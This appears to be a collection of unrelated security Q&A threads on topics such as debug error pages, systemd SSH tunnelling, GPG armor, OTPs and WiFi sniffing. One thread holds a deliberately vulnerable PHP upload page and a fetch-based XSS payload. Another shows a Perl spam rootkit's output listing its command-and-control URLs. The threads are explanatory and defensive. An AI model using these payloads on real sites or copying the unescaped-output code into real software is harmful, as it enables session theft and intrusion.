What is the use of disabling detailed exception pages on open-sourced apps? Frameworks for web apps typically can run in either production mode or development mode. One of the major differences between the two modes is how exceptions are handled: in development mode the browser will typically be sent a detailed exception information with a stack trace, while production mode will only serve a generic (though customizable) error page that is devoid of any more detailed information.
The frameworks' documentation will also typically warn against using development mode in production for this reason; this is an example from .NET Core:

Warning Enable the Developer Exception Page only when the app is running in the Development environment. You don't want to share detailed exception information publicly when the app runs in production.

And this is a similar warning from Django docs:

Never deploy a site into production with DEBUG turned on.
One of the main features of debug mode is the display of detailed error pages. If your app raises an exception when DEBUG is True, Django will display a detailed traceback, including a lot of metadata about your environment, such as all the currently defined Django settings (from settings.py).

I'm failing to understand the reasoning behind the aforementioned security measures?
If I understand, the reasoning goes like that: Detailed error pages would allow a potential attacker to discover details about the app's source code = they might find weaknesses = bad. Isn't it the definition of security through obscurity?
In addition: What is the use of such measures if the app is open-sourced? Disabling detailed exception pages is supposed to prevent the attacker from finding out details about its source code, but these are - by design - present in a public GitHub repository. Seemingly in this case I might just as well run the app in development mode, at least if there is an unexpected bug a user finds out they will be able to give me a more detailed information that might help me fix this bug?
If the reasoning behind the documentation warnings I quoted above is correct, then this would mean to me that developing open-sourced webapps is itself a security vulnerability! Because if allowing an attacker to find some details abou the source code is such a big deal, then how worse must it be to simply give out the source code to anyone interested! And yet, AFAIK, open source is not considered an invalid and inherently insecure model.
What am I missing here? Why should detailed exception pages be disabled?

It can reveal details of the implementation to an attacker that can be used to mount a better attack.  Quoting from the OWASP page on improper error handling:

  Even when error messages don’t provide a lot of detail, inconsistencies in such messages can still reveal important clues on how a site works, and what information is present under the covers. For example, when a user tries to access a file that does not exist, the error message typically indicates, “file not found”. When accessing a file that the user is not authorized for, it indicates, “access denied”. The user is not supposed to know the file even exists, but such inconsistencies will readily reveal the presence or absence of inaccessible files or the site’s directory structure.


Is an XSS via Cross-Site File Upload (CSFU) practically exploitable? I came across a very interesting case:

The user uploads a file
The file contains
The web app shows the file's content to the user -> the XSS payload is executed
The file is not stored in any way, shape or form (forget about Stored XSS)
There's no anti-CSRF token on the file upload

XSS via File Upload, right? Not a big deal.
Now the big question is: how to exploit it without literally asking the victim 'Hey, can you upload this file??'
Initially I dug into "Cross-Site File Upload" and read plenty of literature but I couldn't find any clear example of an XSS being exploited in this way.
The best blog post about this specific scenario is the following: https://www.exploresecurity.com/a-tricky-case-of-xss/ (here the injection is in the filename and not in the content, but it changes very little). The key is that the payload leverages a browser related issue and therefore it is not general-purpose.
The blog post also describes some of the challenges I've already faced: the file upload should not be chosen by the victim, the file upload should also return something to let the victim's browser run the JS payload, the attacker's page should deliver a multipart/form-data encoding, etc...
I've spent a considerable amount of time trying to find the answer to the "Is this even possible?" question and since I have not been lucky so far, I wanted to ask you guys if you've already faced a similar riddle.
This is the demo vulnerable page I'm using for my tests:

<?php
echo "The file ". $_FILES["fileToUpload"]["name"] . " has been uploaded.";
$fileContent = file_get_contents($_FILES['fileToUpload']['tmp_name']);
echo "
The file contents are:

$fileContent

";
?>

Here you can upload your file!

<form action="vuln-upload.php" method="post" enctype="multipart/form-data">
  <input type="file" name="fileToUpload" id="fileToUpload">
  <input type="submit" value="Upload" name="submit">
</form>

Thank you a lot for the help!

The cross-domain file upload attack is prevented by the Same Origin Policy (SOP).
The only way to automate the file upload, with arbitrary contents set by an attacker, is using the FormData API. This involves constructing a file upload HTTP request and sending it via XMLHttpRequest (ajax request) or the Fetch API. You cannot perform cross-domain requests with these methods unless the target domain explicitly allows it via CORS.
If the target domain set a header such as Access-Control-Allow-Origin: *, thus effectively disabling SOP, then you could exploit this by constructing a form data object that contains your XSS payload:
var payload = new FormData();
payload.append("file", "<script>alert(1);</script>", "evil.txt");
fetch("http://target.domain/upload.php", {
    method: "post",
    body: payload,
    credentials: "include"
});

This sends a file upload via JavaScript, with an arbitrary name and contents. But, as I said earlier, this only works if the victim domain bypasses the same origin policy with a dangerous CORS header.
One thing I noticed in your demo code is that the filename being displayed is also vulnerable to XSS, since it is printed without being escaped. You might consider an attack page like the following:
<script>
function rename_file_to_something_evil()
{
    var form = document.getElementById('exploit');
    form.files[0].rename('<script>alert(1);</script>'); /* this is not real JS */
}
</script>
<form id="exploit" method="POST" target="http://target.domain/upload.php" enctype="multipart/form-data">
    <input type="file" name="file" value="Choose a file..." />
    <input type="submit" onclick="rename_file_to_something_evil()" value="Upload" />
</form>

Here, the idea would be that we could get the user to upload any file through some social engineering pretext, e.g. "upload a picture of yourself and we'll show you what you look like in 20 years", then use JavaScript to rename the file to an XSS payload and send it to the target domain, since cross-domain form submissions are allowed even if cross-domain ajax/fetch requests aren't. If we could get the user to manually initiate that request, but somehow modify the contents, perhaps we could exploit it that way. However, the standards developers considered this attack vector already, so they made it impossible to rename a file with JavaScript before upload. You can't apply a FormData object to a form in the DOM either.


Is systemd's hand-rolled Desktop-Bus-over-SSH tunnel a security worry? On 2017-09-02 Peter Wullinger wrote:☑ tunneled connections to remote dbus
☑ hardcode ssh (without path)
☑ have escape, parse, unescape bug
☑ don't document any of this

When one uses the -H or --host option to the systemctl program, systemd tells its D-Bus library to execute ssh under the covers running a program named systemd-stdio-bridge on the remote machine.  That program acts as a simple message pump between the D-Bus broker on the remote machine and systemctl, the D-Bus client, on the local machine.  systemctl just talks to the Desktop Bus that is being proxied over SSH and systemd-stdio-bridge, as if it were talking to the local system one.

In response, other people wondered that this might be another systemd security problem.  Is it?

(This is not a question about SSH security in general, but rather with respect to this specific systemd mechanism.  There are other questions to look at for general SSH security, such as "What are the security implications of SSH tunneling?".  Nor is this a question like "What are the security implications of systemd compared to systemv init?".  For starters, this is not in any way about van Smoorenburg rc files.)

Discussing this on Twitter is the modern day equivalent of Fermat discussing mathematical proofs via marginalia.  So let us expand upon what Peter Wullinger did not have the space to fit into a margin a Twitter post.

There were, of course, other ways that the systemd people could have done this:

Advise system administrators to use ssh -x -- account@host systemctl stuff… instead of systemctl -H account@host stuff…
Use OpenSSH's built in forwarding mechanism for local-domain sockets so that internally systemctl spawns something like ssh -xT -L /run/user/user/account@host/bus:/run/dbus/system_bus_socket -- account@host /bin/true instead of (as it does) ssh -xT -- account@host systemd-stdio-bridge

There are a number of problems with the approach actually taken, several of which are security-related.  None appear, so far, to rise to the level of outright vulnerabilities, however.

"What's this undocumented systemd-stdio-bridge program?"

Consider, first off, the system administrator looking at logs and the output of ps, and wondering about these people all running systemd-stdio-bridge via SSH.  We have, as can be seen from "Strange 'agetty' process running on my VPS.", people who wonder about Weitse Venema's agetty program and we know that MacOS already has malware named systemd in an attempt to fool people, so it is not a stretch nor unreasonable to imagine that system administrators would wonder about systemd-stdio-bridge too.

The problem is that this is another occasion where systemd's doco is worse than poor: it is outright absent.  There is no manual page for systemd-stdio-bridge written by the systemd people, at all.  So the system administrator's first recourse, reading the manual, is no help.  (This is intentional on the parts of the systemd people, who have not included system administrators wanting to identify running programs in their use case.)

It might help the system administrator to learn that the program went through a phase of being called systemd-bus-proxyd, which had a manual page.  Both it and the manual page were removed from systemd, but when the older program was later brought back by systemd developer David Herrmann, a manual page was not restored along with it.  (Note, if you do go and dig it up, that the old manual page for systemd-bus-proxyd does not correctly describe the current command-line usage of systemd-stdio-bridge.)

Had the systemd developers considered the doco alongside the program, they might have spotted one current bug: systemctl in certain circumstances passes options that systemd-stdio-bridge does not support, and systemd-stdio-bridge supports different options that systemctl makes no use of.

"What's this undocumented sd_bus_set_address stuff?"

One of Peter Wullinger's notes is that none of this is documented, and this is at least alas true in the case of the system administrator who tries to resort to reading the code for the systemd-stdio-bridge program.  This is a compiled C program, not one written in an interpreted scripting language.  As Peter Wullinger points out, it relies upon calling a sd_bus_set_address() function.  The systemd people provide no manual page for sd_bus_set_address(), leaving dangling hyperlinks on other systemd manual pages (such as the hyperlink from the sd_bus_new() manual page for example).

Parsing bugs

It was not initially clear what Peter Wullinger thinks to be an "escape, parse, unescape bug".  But there is a lot of parsing going on under the covers; not the least of which is systemd's Desktop Bus library constructing strings such as "unixexec:path=ssh,argv1=-xT,argv2=--,argv3=account%40host,argv4=systemd-stdio-bridge,arg5=--machine=fred" from their constituent parts in one place only to go and parse them back into their constituent parts in another.  And we know from Daniel J. Bernstein (amongst many others) that designing to avoid parsing, including this sort of marshalling into pseudo-human-readable form and then unmarshalling back into machine-readable form, is a good idea.

It turns out that Peter Wullinger was referring to the reason that argv2=-- is now in there.  That is of course a well known problem, that is sad to say exemplified far too widely.  However, an additional and more subtle parsing-related problem in the aforementioned superfluous serialization and deserialization is the very ad hoc nature of the system.  Notice that an equals sign character to be passed in argv3 is escaped as %3d.  The equals sign in arg5=--machine= is however not escaped.  The serialization does not obey the same rules as the deserialization.  This way, bugs and security problems lie; and this is one of the very things that Daniel J. Bernstein recommended to avoid by not parsing in the first place.

Reinventing the wheel

There is, of course the notion that systemd-stdio-bridge is a reinvention of the wheel that has not knocked all of the corners off to make it round enough, yet.  After all, as aforementioned, OpenSSH has a built-in mechanism, far more widely used and tested, for forwarding access to local-domain sockets over the SSH connection from remote host to local machine.  (It has had it since OpenSSH 6.7, released the year before systemd developer David Herrmann reintroduced the systemd-stdio-bridge program.  Patches for this have been around since 2006, years before systemd existed.)

Militating against this are two things.

First: Spawning a program remotely and then talking to it via its standard input and output, transmitted over the SSH connection, is not exactly an unusual use of SSH.  It's the rexec model of doing things, after all.

Second: Local-domain socket forwarding has to be done carefully.  With the standard I/O mechanism, no other D-Bus client program can (absent tricks like debug access) use the forwarding mechanism to itself connect to the remote D-Bus broker.  The aforementioned mechanism however has to be careful to:

not allow anyone other than the user any access at all to /run/user/user/account@host/ so that only the user's (and the superuser's) processes can access the local proxy socket
guard against /run/user/user/ being writable by someone other than the user, so that no-one else can come along and sneakily replace /run/user/user/account@host with a symbolic link or perform other such tricks
take care that /run/user/user/account@host/bus does not collide amongst multiple invocations of systemctl (which can be done by employing a locally unique name instead of just bus)

Further reading

V.R. (2015-10-11).  "Parsing in critical paths".  Structural and semantic deficiencies in the systemd architecture for real-world service management, a technical treatise.  darknedgy.
chromatic (2010-07-10). "Don't Parse That String!". Modern Perl Programming.
William Ahern. OpenSSH Unix Domain Socket Forwarding.  25thandclement.


Metasploit - Where has JTR gone? I remember using jtr in metasploit. jtr_crack_fast is no longer available for me along with other jtr commands. Yes i can still get regular jtr stand alone or just git but still.
What happen to jtr in metasploit?

They were remade as part of a cleanup
On 2020-01-31 (so almost exactly one year ago at the time of writing this), Rapid7 released  this article, in which they explain the history of how jtr_crack_fast and similar modules came to be.
If you don't care for the article, and just want the synopsis: The modules were all renamed to crack_ instead of jtr_. You can also change whether or not you wish to use JtR or Hashcat as the backend, so that the commands are backend-independent. These new and improved commands also have other nice features added, such as show_command, which allows you to show the command being executed in the backend. The article explains it in more detail.
This change has been in Metasploit since version 5.0.72.


GPG armor output ending with == followed by four characters Is there a reason why GPG output always ends with == followed by 4-characters?

Here are the last few lines of my GPG public key:
...
OOr8IiqHUQhVk8JosOWrUMbkIuaQCngYloRLkaxAtBpQcDO3iAEWF+gGP6Du3yU4
zkfn0rmC6YUuqJGiRb6BeFxJqFCXvr5WmX87k3DLAyBTcG4Pw1sioU64h55wOg2S
v0D46sdWlvtAAbfN5YI7zqzCoBaorko2Aacq5gM4mJzad9uw52064Tqqvz+FE/Os
JaTXjzJz7Fr1vZQDJMHFmKSquFqxivL8nVwOADuBDJRl6Q1a2iMXHqiv79M9WAQX
YKvkP4WGz6R4eqdRAmzmSU3qjSw0odvkbzS8ziuMzao02dO37VcZZ4sOHyEwRa9c
rBvrdj2W2YM4+IVmm2/LQdZbuVovft/Uad7UQymMeJr2ny8/6xt8QZwQiz51RDs=
=QLDn

Here are the last few lines of a random file encrypted by me with GPG:
...
ao3y/ppJ2eOwh8VAAyvCCX38Bg0ehs8PFrdpZ6zLzHJP3oj+O38zEErx6fP35jR6
XIJ3w9DilXk0IXGDN5Bv2GfLg3sQPJIYl5lqbMS3jzL8j/SL+/9P7WR6oNkoz2pc
BtFmlTuMkc2MCpe67qTD0TlEzPfFuhFxBrxIP4/bODgRdB/9aPDOPCH/gEIqlyAC
yq0qNOcs9tQSMAWZI6VwsHO0WaQ8azhVf53w5v4HbQn/kU/OfzyuoE8AN6xYO9vS
XgE8IiHT9XnDyiJkaNMHHbWNdK86Tbg5LSzdtC2gEWMNpYe7jwlYaCfiri5SJ1u0
WJEg7vwwiuNF/mN00a1B3aoK/0LB17E5GfeAbRbCLnfhTwFF9x7D9rdj5MgMP0E=
=qtjG

and here is a random file from a source:
wBC3poSYT+l63wNO73CDhx4VbpOzLgzbyNB6O67iuiQm2D9hLwk8L4YPOoMlfwyM
kUmsZUX709sMBHZN/9aniaVBsLxszHw9xu5OuSz/lHkckplcwb94XDLh1KGGO+1Q
LzbpFYPqe3BANLK5xxlQAAti/uk0XYltVJfUOCzyxl282X3Tp/77FtiGGb8RI1HY
hslojkAQa9gK1+f44Y8LwHH5k7fQr+Q+luqP7inoEQWbpWW4hu80Wkafv/bzI/xu
Z1qGcEVcJGJPP7QwQWUp53FbZuIq742CoxNklwvlnjhEaXa5rG2dmHUREawVzz+q
M8RkPBZIBge0SVY=
=WznL

The public keys you're describing are encoded as per RFC 4880 §6:

  OpenPGP's Radix-64 encoding is composed of two parts: a base64
  encoding of the binary data and a checksum.  The base64 encoding is
  identical to the MIME base64 content-transfer-encoding [RFC2045].

  The checksum is a 24-bit Cyclic Redundancy Check (CRC) converted to
  four characters of radix-64 encoding by the same MIME base64
  transformation, preceded by an equal sign (=).

Base64 encoding is always padded with 0-3 '=' characters at the end; OpenPGP adds another '=' and follows it with 4 characters of checksum.

Since the checksum is always 4 characters, and Base64 pads to reach a multiple of 4, there is never a need for '=' padding after the checksum.


What is needed to secure a docker container that's running on nodes in an AWS Private Subnet with internet access only via NAT? I know securing a container is a big deal and a lot is needed to be done to secure a default container configuration. But having it in a private subnet should take care of a lots of risks.

So what major things does one need to start with to secure a docker container that's running on nodes in an AWS Private Subnet with internet access only via NAT?

The security configuration required for a specific environment depends on your threat model e.g. who do you expect to attack you, what level of access will they have to your environment, so providing specific hardening instructions for Docker containers could be hard without that detail.

At a generic level I'd recommend reviewing the CIS Benchmark for Docker  to see which of the recommendations there make sense for your environment.


Purpose of hash verification of file served over HTTPS? I am new to Information Security. I can find many websites asking to verify the checksum of the files. It's logical if the file is exposed to modification while transmission. HTTPS addresses this issue and guarantees the integrity of the file.

According to this article by IBM,

  SSL provides data integrity by calculating a message digest

So, again, what's the reason behind verification of the digest of a file served over HTTPS?

Assume that no mirror server is involved.

HTTPS protects file against modification during transmission. But, HTTPS does not protect against file corruption in all cases: if the transmission is aborted early or of the server has problems in transmitting the file you will not notice. In these cases a checksum might help. Also, in case the download site is just a mirror of another site provides both file and checksum makes it possible to detect errors during the mirror process.


How to secure identity after someone dies? How would you go about securing the online identity(ies) of someone as best you can after they've died, when they haven't put anything in place ahead of time for this event?

Assume we don't know how many identities or services they've used, but at the very least includes 3 email accounts with different providers, and at least one of facebook, twitter, myspace, youtube, etc., etc. There is physical access to one or two machines they've used frequently (mac, windows).

Here's my off the top of my head common sense thoughts:

Assemble a list of accounts - email, social networking, bill paying, online shopping, etc.

Use the physical machines you have to do a search, check the history in any way you can, OS logs, browser history, bookmarks, correspondence in any email account you know about.

Contact the sites for any of these accounts to let the site know the person has passed away.  It seems like it wouldn't hurt to get a letter written up by the estate's attorney, if there is one, so that there's some premise of legality.

Start with online stores
Where it's social media, it seems like it would be nice to close the account, where possible with a record of the person's death and possibly contact info for sending condolences or other information - it's possible that a person's friend network may know other accounts that should be closed.  Also, letting contacts know that the person has died would help the contacts prevent any identity theft/spoofing attempts.
coordinate closure of any online accounts with laywers relating to the financial estate - there may be final bills that need paying.  You may need to hand over accounts of this nature to the beneficiary or the estate's trustee.
Save the email addresses for last, as you may get incoming communication that needs a response.  Also, it wouldn't surprise me to find out that you need the email account to close some of social network accounts.

Could also do a common sense search for the person's typical user names on Google to identify potential other places that the person is listed - which may or may not be connected to an account.  The biggest trick would be to be able to determine which user is truly the deceased, since the possibility for name redundancy is high.

All that assumes just an average every day user.  There may be other concerns depending upon the person's employment and/or family status.  For example, if the person works in engineering, there may be company private material on the person's PCs and you may need to work with the company to make sure this information is managed appropriately.  If the person is involved in any sort of court battles, do not pass go - do nothing and proceed directly to lawyer.


How to know what others browse through the network? My friend connected to WIFI and after 5 minutes he told me which sites I had actually been browsing, and who I chat with.

My question is: how do I defend myself against this, and also how did he do this?

In a WiFi network, all information which is sent over the network is broadcasted over the air. Usually network interfaces are configured to just ignore any network traffic not addressed to them, but there are tools available which change them to "promiscuous mode" which allows them to also log and show any traffic which they receive even though it is directed at other network participants. Although WiFi networks are usually encrypted nowadays, the key is shared between all participants, so any network participant can eavesdrop on the traffic of everyone else.

The only defense against this is end-to-end encryption.

For casual webbrowsing, you should try to always use the https:// version of a website. That way a sniffer on your WiFi network will only learn the domain you browse, but not which specific URL, what you read there and what you send there. When someone would eavesdrop on you right now, they would learn that you made a TLS handshake with https://security.stackexchange.com but not that the exact URL you view is https://security.stackexchange.com/questions/74471/how-to-know-what-other-browse-through-the-network/ and what you are currently reading here. Should you choose to comment on this, that outgoing message would also be encrypted. I recommend the browser extension HTTPS Everywhere which makes your webbrowser prefer https over http whenever possible.

Regarding chatting: Many chat systems do not offer encryption. When you are security-conscious, you should refuse to use these. There are too many chat systems available to list them all here, but the Electronic Frontier Foundation has a good comparison of the security features of many chat systems.

However, when you have a high security need, the best way to protect yourself on a public WiFi network without having to change most of your habits is to pay for a VPN service. With a VPN service, all your internet activity is routed through an encrypted channel to a server on the internet which then works as a proxy. As long as you trust your VPN provider, this allows you to do confidential internet activity from an untrusted network. The greatest advantage is that this works for any network traffic, so it does not matter if the software you use encrypts or not. However, keep in mind that the connection is only secured between you and the VPN provider. This 1. means that your VPN provider could eavesdrop and 2. that the connection between the VPN provider and your destination is unsecured.


How can a modern Windows/Linux system be compromised by a heap overflow in Chrome? Wikipedia's article on Heap Overflow states:

  there are primarily three ways to protect against heap overflows.
  Several modern operating systems such as Windows and Linux provide
  some implementation of all three.

  Prevent execution of the payload by separating the code and data,
  typically with hardware features such as NX-bit on modern systems.
  Introduce randomization such that the heap is not found at a fixed
  offset.
  Introduce sanity checks into the heap manager.

With these protections in place, how could a recently discovered exploit through heap overflow in Chrome's PDF reader occur?

  By simply viewing a PDF document that includes an embedded jpeg2000
  image, the attacker can achieve arbitrary code execution on the
  victim’s system

Source: PDFium Vulnerability in Google Chrome Web Browser

Here, the vulnerability does not talk about some program running on your machine. The problem is data being overwritten at the wrong place.
You can find the details of the vulnerability here: http://blog.talosintel.com/2016/06/pdfium.html#more
As mentioned in the webpage:

If in the above call to opj_calloc, which is a calloc wrapper, numcomps value happens to be zero, calloc will return a unique pointer which can be later passed to free (this is implementation dependent, but is so on modern Linux OSes). The unique pointer returned by calloc will usually be a small allocation (0x20 bytes in case of x64 code). This can lead to a heap buffer overflow later in the code when this buffer is being used.
In the above code, l_tccp pointer will be pointing to the previously erroneously allocated area. The same structure is dereferenced during further out of bounds writes in the following code.

Since writing to memory owned by a program is a valid process, an operating system cannot block the above mentioned process.

Prevent execution of the payload by separating the code and data, typically with hardware features such as NX-bit on modern systems.

This is not working because there is no execution of a payload here.

Introduce randomization such that the heap is not found at a fixed
offset.
Introduce sanity checks into the heap manager.

We are explicitly fetching the location to be read from/written to and hence randomization will not work here. This is a simple case of a missed sanity check.
Also, as mentioned in the webpage the Chrome build system already had a fix for it in place, just not in the correct build. The bug has been fixed now.


Secure environment for servers with sensitive private data I am developing a web application that will expose a public API to the world, but will store very, very sensitive personal, private data. Having the content hacked would be fatal.

I will be using the following technologies:

REST (over HTTPS)
Apache server at the backend
PostgreSQL database

I have come up with an idea (I thought of it myself, so it may have vulnerabilities that security experts on here may spot).

The components of my secure environment are as follows:

Machine A: Front (public) facing server on a dedicated machine
(i). This machine has firewall rules to only allow TCP connections via port 443 (HTTPS)
(ii). Apache configuration only accepts certain regex patterns of published API
(iii). Apache forwards request to server B, using an internal API mapping, and using a secret, non standard port
Machine B:
(i). This machine has been setup to only accept data from Machine A
(ii). This is where the application logic and data exist
(iii). Results sent back to Machine A, to send back to requester.

Can anyone improve on this setup (i.e. 'harden' or make it more secure)?

Seek professional advice...seriously, if the data is as sensitive as you say and the consequences are truly fatal, it would be negligent to rely on advice from here upon which to base a solution.

Nobody can offer a reliable contextual answer because there is not enough information about the business requirement the solution is for. Some things that would need to be considered in order to determine an appropriate solution: the intended audience, what the data is, what it will be used for etc. these may open up alternative architectures that would provide more effective risk mitigation.

There will be aspects that are not referred to in your question...access control (multi-factor possibly), pseudo or real-world identity requirement (impacts registration), encryption of data.

If you are in Europe data protection legislation will apply...so there is a whole raft of pre-reqs before even collecting the data: conditions for processing, where the data can be processed, what it can be used for etc.

I know this is not a direct answer to your question, but I was running out of space in a comment...you may well have considered all of this, but I just wanted to make sure!


What are the typical ways to generate a One Time Password? I'm looking for the typical ways to generate a One Time Password. I know about the HOTP and TOPT. But, in my case, the problem is that the "server" only has a display as interface and the otp-generator-app should work on one or more mobile devices.

Currently I am thinking about using a secure Pseudo Random Number Generator. The generated number will be displayed on the "server". Then the user has to enter this number into the mobile devices. The generator uses the input random number and a pre-shared secret, links them together, and hashes them several times. The result is the OTP.

Is there a similarly standardized way to generate an OTP?

Edit:

I have a server with a login to a secret area. On the other hand I have different mobile devices that maybe able to login in the same secret area. So there are many devices that have to be synchronized before each login.

In the HOTP there two possible kinds of shared secrets: Random Generation and Deterministic Generation.

In my opinion the random generation is not possible because of the multiple mobile devices for the same login. I can think of no solution as synchronizing the secure prng like the HMAC_DRGB or other.

With Deterministic Generation, the master secret is only stored on the server. I am not able to find a way to share the shared secret securely with only a display.

So that's the reason why I'm looking for other standards to generate a OTP...

Or is there any way to store the secret securely on the server and the clients?

Think about this implementation (Disclaimer: this is basic):

Server displays a Random Number that changes every 30 seconds (R)
Mobile device has a unique device ID (DID)
Server maintains a record of authorized DIDs
Both server and mobile device share a secret (S)

When the mobile device wants to log in, it requests the active R from the server. The mobile device then calculates hash(S + DID + R) and sends the result to the server along with the DID. The server uses the same algorithm, and if it matches, then you have some level of assurance that the authorized device is the one now actively logging in.

Couple this with a typical username/password credential that is tied to the DID and you have a VERY basic 2FA. The downside is the necessity to maintain and communicate S before this process begins.

This process is the basic function of OTP generation, but there are more secure means of implementing it if you look. Remember the rule:

  "Don't Roll Your Own"


Can OAuth2 help to authenticate the app? We have a mobile app that communicates with our server via a RESTful HTTPS API. We also have an attacker pretending to be our app while attempting to communicate with our web services API.

We assume that our app in the wild can be reverse-engineered to obtain any API keys, shared secrets, private keys, etc.

My question is: Can OAuth2 help to authenticate the app? I'm not asking about authenticating the person. This is not about security of the mobile app. We have to assume the mobile app can be compromised.

In other words, on the server side, how do I distinguish between a legitimate request coming from our app, and an attacker pretending to be the app?

It's been suggested that OAuth2 will help. I don't think this is the case. I don't think OAuth2 is relevant to the problem I'm describing.

I looked at RFC 6749 Implicit Grant flow. To be sure, it does not require a client secret. But its whole point is to log in one place and use that authorization elsewhere. We already do that through our own API. We're not trying to an OpenID Connect sort of thing, just protect our API from attackers.

Can someone confirm that OAuth2 does not help us, from the server side of the equation? Or, if I'm mistaken, please do explain!

Do you have consumer key and consumer secret given to the applications? If you do then you can disable access the compromised keys and disable access. API key management can be done without OAuth2. But using OAuth2 would allow you combine key management and use different authentication providers. In order to detect which keys are compromised you would need API analytics or usage reports. OAuth2 does not come with an authentication provider. Securing your API against attackers requires a comprehensive approach. I would suggest to start with API key management and then look at OAuth2 along with authentication provider.


Putting personal Data in E-Mail vs sending password in plaintext to access that data I started working on a service that sends out mails with a link to a registration form. (e.g. a registration for a movie premier)

The link would look like this https://movie-premier.com/rsvp/USERCODE

The problem is that for some users part of the form is prefilled with their name and address etc.

So basically we send them a "password" in plain text to access personal data.
I doubt this is ok under GDPR so I'm trying to think of a better solution.

The thing is: usually users that did register will get a confirmation mail with all that data in it anyway. So I wonder if I could do the same in the invitation. Just send them a very long link with all the data in it.

But then is this really worth doing it?
Shure now there is no link on the internet to access that personal data.
But the thread I had before was someone stealing that link from the mail…

Is there any other downside to having that link online?

Typically what websites will do is generate a random URL (https://movie-premier.com/rsvp/yNXszjZUpYJvYFqCJ57tuLgSQvcGXWN1 for example), and tie that random code to a user ID with a database entry.
When the user loads that page, you can autofill the data with the corresponding user's information.
URLs tend to get saved by web clients and logs, so having a random placeholder should also reduce the risk of that information leaking that way.

Another benefit of this is that you can also tie in an expiration to it and prevent users from pulling up sensitive information afterwards, or remove that database entry when they finish registering. If you tried to add in all that information in the URL you'd be left with no way to go back and remove it from the email server/client.

Just make sure it's a random URL and not the hash of the user's password or something silly, or an attacker may be able to figure out what the original value was. Also it should go without saying that it should be at least cryptographically random data so that an attacker can't guess what the URLs are, or they may be able to harvest up user data by guessing the registration codes.


Perl script rootkit (exploit) I received a spam abuse few days ago on my server.
As a precaution, I blocked the SMTP port and started an investigation.
I found a running Perl process. The script it was using was deleted but I found its contents in /proc/PID/fd/3. Here's its md5:

server:~# md5sum spam_scipt
c97b6d65fe2e928f190ca4a8cf23747c  spam_scipt

That Perl script was used to send spam from my server. It uses a domain generation algorithm to generate a URL for a dropzone where the status of the spam process is sent. I modified the script in order to see what link is being generated at the moment:

server:~# perl spam_scipt
wget version is 11
Set browser wget
Warning: bad ps syntax, perhaps a bogus '-'? See http://procps.sf.net/faq.html
Runned postfix found, use /usr/sbin/sendmail
Probe host redacted.info
Go https://ibkxluxisp.redacted.info:1905//b/index.php?id=5cb885d577c7bbacdae44dd9f7f86b641ad60d58b1b9df07b97953a70376ec47&check=1
Generate host ibkxluxisp.redacted.info:1905
https://ibkxluxisp.redacted.info:1905//b/index.php?id=5fb58ad575c14b08785ae5255ffbf83c9f561d18e961b2eb96dc5a058a41&version=18&sent=0&user=584e6388c671f38756eac21cec

And the second try:

server:~# perl spam_scipt
wget version is 11
Set browser wget
Warning: bad ps syntax, perhaps a bogus '-'? See http://procps.sf.net/faq.html
Runned postfix found, use /usr/sbin/sendmail
Probe host redacted.info
Go https://wodhvqubux.redacted.info:1905//b/index.php?id=5cb186d575c44b1e5174c7c111636063b338bc3ef4d46e4533036eded038a7&check=1
Generate host wodhvqubux.redacted.info:1905
https://wodhvqubux.redacted.info:1905//b/index.php?id=5a497fe86dde12da162b6460bb8cd215966679ad7bf97338b9b6c2e741fe&version=18&sent=0&user=544c648ace7ff7834db9fadf36bdserver:~# ;

The subdomain only changes now. So after a simple ping we get the IP address of the dropzone:

server:~# ping vodhvqubux.redacted.info
PING vodhvqubux.redacted.info (94.23.208.20) 56(84) bytes of data.
64 bytes from ns207415.ovh.net (94.23.208.20): icmp_seq=1 ttl=59 time=4.02 ms
^C
--- vodhvqubux.redacted.info ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 4.026/4.026/4.026/0.000 ms

THose criminals have already appeared in public with the same IP address:
http://forum.spamcop.net/forums/lofiversion/index.php/t12096.html
http://www.jaguarpc.com/forums/general-hosting-network-support/26972-could-need-some-help-compromised-system-cannot-find-door.html

I do not understand how do the upload script using root access without even knowing the password. Here is the environment for that perl process:

SHELL=/bin/bash
SSH_CLIENT=xx.xx.xx.xx.xx 60480 220
USER=root
MAIL=/var/mail/root
PATH=/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin
PWD=/tmp
SHLVL=1
HOME=/root
LOGNAME=root
SSH_CONNECTION=xxx.xxx.xxx.xxx 60480 xx.xx.xx.xx 220
_=/usr/bin/nohup
OLDPWD=/root

Maybe that helps. I have upgraded all the software, rebooted server, but that happened again. Also there are no logs for ssh login in access.log.

Perl script http://www.sendspace.com/file/xfrqtt

Can anyone assist with the abuse onto IP from OVH DC? The criminal`s website works just perfect.

Your server is infected. It shall be cleansed. With fire.

The primary function of a rootkit is to install itself in an inconspicuous place, and intercept whatever it needs to resist reboots and upgrades. For instance, it may have added its code in the kernel itself, and hijack read and write system calls so that it automatically reinfects the kernel file should it be upgraded.

So the path to your salvation is a complete reinstall of the system from scratch; rebuild partitions, format hard disks, fire up the OS installation CD/DVD. It's the only way to be sure.

(Actually it is conceivable, and has been demonstrated in lab conditions, for some rootkits to install in the motherboard firmware, or the firmware of some peripherals, including keyboards -- as long as such firmware can be reflashed from software, it is theoretically vulnerable. It is rather improbable that your server has been compromised to that depth, so chances are that a complete reinstall will be enough -- no need to escalate to an actual funeral pyre.)


Mystery IP address Hijack I'm working on a customer's new website.  To get things up and running quickly, we're maintaining his domain name service and hosting the website on another server.  Customer bought the URL name years ago, never used it till now. It was parked at the registrar (register.com)  We did a setup to point to the hosting servers, then created the appropriate subdomain pointers, etc...

So we're waiting for things to propogate.  I thought I'd check the site, first via browser, no go. It still shows the site is parked, at register.com.  Thought I'd ping the site with a command line interpreter (in this case I'm using Linux) and see what happens.

Way odd.  The site pings to an IP address I've never heard of before.  It pings to 208.91.197.39:   Hmmm wonder where that came from.  I plugged that IP address directly into the browser, and immediately got routed to on of those Beware you have a virus, call XXX to get out of jail sites. Ugh.

I look up that IP address on gwhois.org and its registered to "Confluence Networks Inc, Road Town, Tortola, VG"  We have no clue how this occurred.

I'm assuming there is a script out there running that looks for any URL without designated IP location and re-assigns itself instead.  Is this even possible?

Anybody know what is going on?  Should we be worried?

As @schroeder said, someone (probably the same ones that control the 208.91.197.39 IP) hijacked the DNS of your registrar.  This means that they changed the DNS records so that the domain (what you incorrectly call "URL") name your customer bought now points to the IP 208.91.197.39 instead to the legitimate IP or domain assigned to your customer.

The reason why they do that are many: for instance to generate traffic for a web site hosting ads/scams/malware, or to impersonate another domain to do frauds.


